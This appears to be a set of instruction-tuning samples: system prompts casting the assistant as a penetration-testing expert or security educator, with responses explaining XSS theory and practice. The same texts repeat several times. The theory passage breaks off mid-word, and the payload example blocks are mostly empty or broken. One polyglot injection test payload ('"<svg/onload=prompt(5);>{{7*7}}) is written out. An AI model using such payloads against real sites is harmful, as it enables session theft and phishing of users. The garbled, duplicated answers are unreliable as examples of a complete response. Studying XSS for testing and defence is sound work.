Many web applications have input vectors that users can interact with. When those inputs are reflected in the content of a page and not sanitized or filtered enough, attackers can try to inject malicious code to alter that page. The most common attacks that exploit such vulnerabilities are XSS (Cross-Site Scripting) and defacement attacks. While this kind of defacement only alters the visual appearance of a website, an XSS can allow attackers to inject code/scripts (JavaScript for example) that will be executed by victims browsers, hence causing much more trouble to the users.

Executing arbitrary code on a victim's browser can allow an attacker to perform Cookie theft (when the cookies are not secured, attackers can steal them and use them to authenticate as the victims without having to know their password), Keylogging (attackers can spy on the victims and recover their keystrokes) or Phishing (attackers can change the site appearance and behavior and trick victims into sending sensitive information to the attackers servers).

There are three major types of XSS:

* Stored: the user input is stored on the website. It usually happens on user profiles, forums, chats and so on were the user content is permanently (or temporarily) stored. Attackers can inject malicious payloads and every user browsing the infected page will be affected. This is one of the most dangerous forms of XSS because exploitation requires no phishing and it can affect many users. XSS on pages that only the attacker's user has the right to browse (e.g. user settings page) are called self-XSS and are considered to have a close to 0 impact since it's theoretically can't affect other users.
* Reflected: the user input is reflected but not stored. It usually happens on search forms, login pages and pages that reflect content for one response only. When the reflected vulnerable input is in the URI (http://www.target.com/search.php?keyword=INJECTION) attackers can craft a malicious URI and send it to t

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on XSS (Cross-Site Scripting) - Theory

Response:
Many web applications have input vectors that users can interact with. When those inputs are reflected in the content of a page and not sanitized or filtered enough, attackers can try to inject malicious code to alter that page. The most common attacks that exploit such vulnerabilities are XSS (Cross-Site Scripting) and defacement attacks. While this kind of defacement only alters the visual appearance of a website, an XSS can allow attackers to inject code/scripts (JavaScript for example) that will be executed by victims browsers, hence causing much more trouble to the users.

Executing arbitrary code on a victim's browser can allow an attacker to perform Cookie theft (when the cookies are not secured, attackers can steal them and use them to authenticate as the victims without having to know their password), Keylogging (attackers can spy on the victims and recover their keystrokes) or Phishing (attackers can change the site appearance and behavior and trick victims into sending sensitive information to the attackers servers).

There are three major types of XSS:

* Stored: the user input is stored on the website. It usually happens on user profiles, forums, chats and so on were the user content is permanently (or temporarily) stored. Attackers can inject malicious payloads and every user browsing the infected page will be affected. This is one of the most dangerous forms of XSS because exploitation requires no phishing and it can affect many users. XSS on pages that only the attacker's user has the right to browse (e.g. user settings page) are called self-XSS and are considered to have a close to 0 impact since it's theoretically can't affect other users.
* Reflected: the user input is reflected but not stored. It usually happens on search forms, login pages and pages that reflect content for one response only. When the reflected vulnerable input is in the URI (http://www.target.com/search.php?keyword=INJECTION) attackers can craft a malicious URI and send it to t


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain XSS (Cross-Site Scripting) - Practice

[Assistant]
Testers need to identify input vectors (parts of the app that accept content from the users) that are stored or reflected.

* URI parameters for reflected and DOM-based XSS
* Other user inputs in forums, chats, comments, posts, and other stored content for stored XSS
* HTTP headers like Cookies (and even User-Agents in some cases)

One of the most famous payloads is  opening a pop-up window echoing "XSS". However, exploiting XSS is like playing "cat and mouse". Inputs can be filtered and filters can be bypassed. Here are some basic examples of XSS payloads.

``

<
`

The following website (GitHub project) can help identify transformations applied to user inputs. This can help bypass filters and transformations to exploit XSS attacks.

The following payload is used for testing SQL injections, XSS (Cross-Site Scripting) and SSTI (Server-Side Template Injection).

`
'"<svg/onload=prompt(5);>{{7*7}}
``

Tools like XSStrike (Python), XSSer (Python), and Dalfox (Go) can also help in finding and exploiting XSS vulnerable input vectors by fuzzing them with unique payloads and then searching for unique patterns in the responses.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain XSS (Cross-Site Scripting) - Practice

Response:
Testers need to identify input vectors (parts of the app that accept content from the users) that are stored or reflected.

* URI parameters for reflected and DOM-based XSS
* Other user inputs in forums, chats, comments, posts, and other stored content for stored XSS
* HTTP headers like Cookies (and even User-Agents in some cases)

One of the most famous payloads is  opening a pop-up window echoing "XSS". However, exploiting XSS is like playing "cat and mouse". Inputs can be filtered and filters can be bypassed. Here are some basic examples of XSS payloads.

``

<
`

The following website (GitHub project) can help identify transformations applied to user inputs. This can help bypass filters and transformations to exploit XSS attacks.

The following payload is used for testing SQL injections, XSS (Cross-Site Scripting) and SSTI (Server-Side Template Injection).

`
'"<svg/onload=prompt(5);>{{7*7}}
``

Tools like XSStrike (Python), XSSer (Python), and Dalfox (Go) can also help in finding and exploiting XSS vulnerable input vectors by fuzzing them with unique payloads and then searching for unique patterns in the responses.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on XSS (Cross-Site Scripting) - Practice

[Assistant]
Testers need to identify input vectors (parts of the app that accept content from the users) that are stored or reflected.

* URI parameters for reflected and DOM-based XSS
* Other user inputs in forums, chats, comments, posts, and other stored content for stored XSS
* HTTP headers like Cookies (and even User-Agents in some cases)

One of the most famous payloads is  opening a pop-up window echoing "XSS". However, exploiting XSS is like playing "cat and mouse". Inputs can be filtered and filters can be bypassed. Here are some basic examples of XSS payloads.

``

<
`

The following website (GitHub project) can help identify transformations applied to user inputs. This can help bypass filters and transformations to exploit XSS attacks.

The following payload is used for testing SQL injections, XSS (Cross-Site Scripting) and SSTI (Server-Side Template Injection).

`
'"<svg/onload=prompt(5);>{{7*7}}
``

Tools like XSStrike (Python), XSSer (Python), and Dalfox (Go) can also help in finding and exploiting XSS vulnerable input vectors by fuzzing them with unique payloads and then searching for unique patterns in the responses.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on XSS (Cross-Site Scripting) - Practice

Response:
Testers need to identify input vectors (parts of the app that accept content from the users) that are stored or reflected.

* URI parameters for reflected and DOM-based XSS
* Other user inputs in forums, chats, comments, posts, and other stored content for stored XSS
* HTTP headers like Cookies (and even User-Agents in some cases)

One of the most famous payloads is  opening a pop-up window echoing "XSS". However, exploiting XSS is like playing "cat and mouse". Inputs can be filtered and filters can be bypassed. Here are some basic examples of XSS payloads.

``

<
`

The following website (GitHub project) can help identify transformations applied to user inputs. This can help bypass filters and transformations to exploit XSS attacks.

The following payload is used for testing SQL injections, XSS (Cross-Site Scripting) and SSTI (Server-Side Template Injection).

`
'"<svg/onload=prompt(5);>{{7*7}}
``

Tools like XSStrike (Python), XSSer (Python), and Dalfox (Go) can also help in finding and exploiting XSS vulnerable input vectors by fuzzing them with unique payloads and then searching for unique patterns in the responses.